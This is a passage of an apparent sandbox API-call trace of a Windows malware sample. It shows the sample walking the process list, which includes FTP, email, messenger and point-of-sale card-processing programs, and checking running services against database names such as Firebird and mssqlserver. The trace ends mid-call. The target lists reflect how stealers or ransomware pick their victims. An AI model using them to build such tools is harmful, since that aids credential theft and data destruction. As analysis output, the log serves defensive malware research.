| out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0059.283] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0059.283] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0059.284] lstrlenW (lpString="release.exe") returned 11 [0059.284] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0059.284] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0059.284] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0059.284] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0059.284] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0059.285] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0059.285] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0059.285] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0059.285] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0059.286] lstrlenW (lpString="stickers_nations.exe") returned 20 [0059.286] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0059.286] lstrlenW (lpString="initiated-scary.exe") returned 19 [0059.286] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0059.286] lstrlenW (lpString="3dftp.exe") returned 9 [0059.286] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0059.287] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0059.287] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0059.287] lstrlenW (lpString="alftp.exe") returned 9 [0059.287] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0059.288] lstrlenW (lpString="barca.exe") returned 9 [0059.288] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0059.288] lstrlenW (lpString="bitkinex.exe") returned 12 [0059.288] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0059.288] lstrlenW (lpString="coreftp.exe") returned 11 [0059.289] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0059.289] lstrlenW (lpString="far.exe") returned 7 [0059.289] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0059.289] lstrlenW (lpString="filezilla.exe") returned 13 [0059.289] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0059.290] lstrlenW (lpString="flashfxp.exe") returned 12 [0059.290] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0059.290] lstrlenW (lpString="fling.exe") returned 9 [0059.290] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0059.291] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0059.291] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0059.291] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0059.291] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0059.291] lstrlenW (lpString="icq.exe") returned 7 [0059.291] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0059.309] lstrlenW (lpString="leechftp.exe") returned 12 [0059.309] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0059.309] lstrlenW (lpString="ncftp.exe") returned 9 [0059.309] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0059.310] lstrlenW (lpString="notepad.exe") returned 11 [0059.310] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0059.310] lstrlenW (lpString="operamail.exe") returned 13 [0059.310] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0059.310] lstrlenW (lpString="pidgin.exe") returned 10 [0059.310] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0059.311] lstrlenW (lpString="scriptftp.exe") returned 13 [0059.311] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0059.311] lstrlenW (lpString="skype.exe") returned 9 [0059.312] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0059.312] lstrlenW (lpString="smartftp.exe") returned 12 [0059.312] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0059.313] lstrlenW (lpString="thunderbird.exe") returned 15 [0059.313] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0059.313] lstrlenW (lpString="totalcmd.exe") returned 12 [0059.313] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0059.314] lstrlenW (lpString="trillian.exe") returned 12 [0059.314] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0059.314] lstrlenW (lpString="webdrive.exe") returned 12 [0059.314] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0059.315] lstrlenW (lpString="whatsapp.exe") returned 12 [0059.315] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0059.315] lstrlenW (lpString="winscp.exe") returned 10 [0059.315] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0059.316] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0059.316] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0059.316] lstrlenW (lpString="active-charge.exe") returned 17 [0059.316] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0059.317] lstrlenW (lpString="accupos.exe") returned 11 [0059.317] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0059.317] lstrlenW (lpString="afr38.exe") returned 9 [0059.317] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0059.318] lstrlenW (lpString="aldelo.exe") returned 10 [0059.318] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0059.319] lstrlenW (lpString="ccv_server.exe") returned 14 [0059.319] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0059.319] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0059.319] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0059.320] lstrlenW (lpString="creditservice.exe") returned 17 [0059.320] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0059.320] lstrlenW (lpString="edcsvr.exe") returned 10 [0059.320] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0059.321] lstrlenW (lpString="fpos.exe") returned 8 [0059.321] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0059.321] lstrlenW (lpString="isspos.exe") returned 10 [0059.321] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0059.322] lstrlenW (lpString="mxslipstream.exe") returned 16 [0059.322] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0059.322] lstrlenW (lpString="omnipos.exe") returned 11 [0059.322] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0059.322] lstrlenW (lpString="spcwin.exe") returned 10 [0059.323] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0059.323] lstrlenW (lpString="spgagentservice.exe") returned 19 [0059.323] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0059.324] lstrlenW (lpString="utg2.exe") returned 8 [0059.324] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0059.324] lstrlenW (lpString="nj_sh.exe") returned 9 [0059.324] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0059.325] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0059.325] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0059.325] lstrlenW (lpString="telecommunications.exe") returned 22 [0059.325] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0059.326] lstrlenW (lpString="sound banking.exe") returned 17 [0059.326] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.326] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.326] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.327] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.327] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.327] lstrlenW (lpString="taskhost.exe") returned 12 [0059.327] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0059.328] lstrlenW (lpString="dllhost.exe") returned 11 [0059.328] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0059.328] lstrlenW (lpString="dllhost.exe") returned 11 [0059.328] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0059.328] lstrlenW (lpString="winhost.exe") returned 11 [0059.329] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.329] lstrlenW (lpString="cmd.exe") returned 7 [0059.329] Process32NextW (in: hSnapshot=0x118, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0059.329] CloseHandle (hObject=0x118) returned 1 [0059.329] Sleep (dwMilliseconds=0x1f4) [0060.886] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fa50 [0060.886] EnumServicesStatusExW (in: hSCManager=0x52fa50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0060.886] GetLastError () returned 0xea [0060.886] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x39506f0 [0060.887] EnumServicesStatusExW (in: hSCManager=0x52fa50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39506f0, cbBufSize=0x11e4, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39506f0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0060.887] CloseServiceHandle (hSCObject=0x52fa50) returned 1 [0060.887] lstrlenW (lpString="Appinfo") returned 7 [0060.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.887] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.887] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.888] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.888] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.888] lstrlenW (lpString="AudioSrv") returned 8 [0060.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0060.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0060.888] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0060.888] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0060.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0060.888] lstrlenW (lpString="BFE") returned 3 [0060.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.888] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.888] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.888] lstrlenW (lpString="CryptSvc") returned 8 [0060.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.888] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.888] lstrcmpiW 